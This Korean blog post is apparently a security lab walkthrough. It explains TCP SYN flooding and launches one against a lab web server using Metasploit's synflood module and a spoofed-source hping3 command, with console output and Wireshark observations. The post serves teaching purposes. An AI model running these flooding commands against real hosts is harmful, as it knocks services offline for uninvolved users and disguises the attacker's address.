본문으로 바로가기

TCP Syn Flooding Attack

category Security/Network Security 2017. 10. 21. 21:58

- TCP Syn Flooding Attack 원리

Attacker는 TCP Syn 패킷을 보낸다.  Victim은 SYN ACK 패킷을 보내고 Attacker에게 ACK 패킷을 기다린다. 그러나 Attacker는 ACK 패킷을 보내지 않고 계속해서 TCP Syn 패킷을 보낸다.

> Victim 서버는 ACK 패킷을 기다리면서 버퍼를 사용하는대 계속 새로운 SYN 패킷만을 받으니 결국 버퍼의 크기를 초과하게 된다.


- Web Server Attack

( linux200 ) Web Server -  Victim

( win2008 ) Client

( kali )    - Attacker


( linux200 )

 - 웹서비스 기동 확인

# pgrep -lf httpd

# service httpd restart

# chkconfig httpd on


# cd /var/www/html

# mkdir -p /test

# echo ' Syn Flooding Test Page' > /var/www/html/test/index.html

# firefox http://192.168.27.200/test


( win2008 )

웹 브라우저로 http://192.168.27.200 접속

웹 브라우저로 http://192.168.27.200/test 접속


( kali )

# wireshark &     /* wireshark 실행 */


사용 툴 msfconsole 

[참고] msfconsole 실행하기 위해 postgresql 실행해야한다. 

- postgresql 실행중인지 확인

# service postgresql status

# netstat -antp | grep :5432

# nmap -p 5432 -sV localhost

- postgresql 실행

# service postgresql start


# msfconsole     /* msfconsole 실행  조금 오래 걸림*/

msf > show -h

 

 [*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options

[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions


 


msf > search synflood

 

 [!] Module database cache not built yet, using slow search


Matching Modules

================


   Name                        Disclosure Date  Rank    Description

   ----                        ---------------  ----    -----------

   auxiliary/dos/tcp/synflood                   normal  TCP SYN Flooder


 

> synflood 를 하려면   auxiliary/dos/tcp/synflood 로 들어가면 된다. 


msf > show auxiliary

 

 Auxiliary

=========


   Name                                                           Disclosure Date  Rank    Description

   ----                                                           ---------------  ----    -----------

   admin/2wire/xslt_password_reset                                2007-08-15       normal  2Wire Cross-Site Request Forgery Password Reset Vulnerability

   admin/android/google_play_store_uxss_xframe_rce                                 normal  Android Browser RCE Through Google Play Store XFO

   admin/appletv/appletv_display_image                                             normal  Apple TV Image Remote Control

   admin/appletv/appletv_display_video     


..... 중략 .....       

 


msf > use auxiliary/dos/tcp/synflood

msk auxiliary(synflood) > show options

 

    Name       Current Setting  Required  Description

   ----       ---------------          --------  -----------

   INTERFACE                        no        The name of the interface

   NUM                               no        Number of SYNs to send (else unlimited)

   RHOST                             yes       The target address

   RPORT      80                    yes       The target port

   SHOST                             no        The spoofable source address (else randomizes)

   SNAPLEN    65535             yes       The number of bytes to capture

   SPORT                            no        The source port (else randomizes)

   TIMEOUT    500                yes       The number of seconds to wait for new data

 

> Required 가 yes 인 옵션은 빈칸으로 두면 안된다.  ( 무조건 세팅이 되어있어야함 )

> 그중 세팅이 안된것은 RHOST 


msk auxiliary(synflood) > set RHOST 192.168.27.200

 

 RHOST => 192.168.27.200

 


msk auxiliary(synflood) > show options

 

   Name       Current Setting  Required  Description

   ----       ---------------      --------  -----------

   INTERFACE                       no        The name of the interface

   NUM                              no        Number of SYNs to send (else unlimited)

   RHOST      192.168.27.200   yes       The target address

   RPORT      80                   yes       The target port

   SHOST                            no        The spoofable source address (else randomizes)

   SNAPLEN    65535            yes       The number of bytes to capture

   SPORT                            no        The source port (else randomizes)

   TIMEOUT    500              yes       The number of seconds to wait for new data


 


msk auxiliary(synflood) > exploit

 

 [*] SYN flooding 192.168.27.200:80...

 


wireshark

> 200번 서버에 아무 상관없는 89.24.251.216 서버가 SYN 신호를 보낸다.

> Attacker가 IP를 속여서 공격함 그 IP는 랜덤으로 없는 IP를 선정한다. 


( win 2008 ) 

 웹 서버에 재 접속해본다. 

 > 잘 접속이 된다. 

이유가 뭘까?


( kali )

> 시간이 지나니 패킷이 전송되지 않는것을 알 수 있다. 

> 리눅스 OS 자체에서 패킷을 막는 보안이 설정이 되어있음을 알 수있다. 


msf auxiliary(synflood) > exploit

 

 [*] SYN flooding 192.168.20.200:80...

^C[-] Auxiliary interrupted by the console user   <---- <CTRL + C>

[*] Auxiliary module execution completed

 


msf auxiliary(synflood) > quit


[ 참고 ]

# hping3 -S -a 192.168.27.205 192.168.27.200 -p 80 -c 3


[ 참고 ] synflood 위치

msfconsole에서 쉽게 사용한 synflood.rb 파일 위치

/usr/share/metasploit-framework/modules/auxiliary/dos/tcp/synflood.rb

'Security > Network Security' 카테고리의 다른 글

UDP Flooding Attack  (0) 2017.10.21
TCP Syn Flooding Attack 보안 방법  (0) 2017.10.21
DoS(Denial of Service) Attack Type  (0) 2017.10.21
hping3 명령어 사용하기  (0) 2017.10.21
TCP/UDP 대표적인 서비스 패킷 분석  (0) 2017.10.19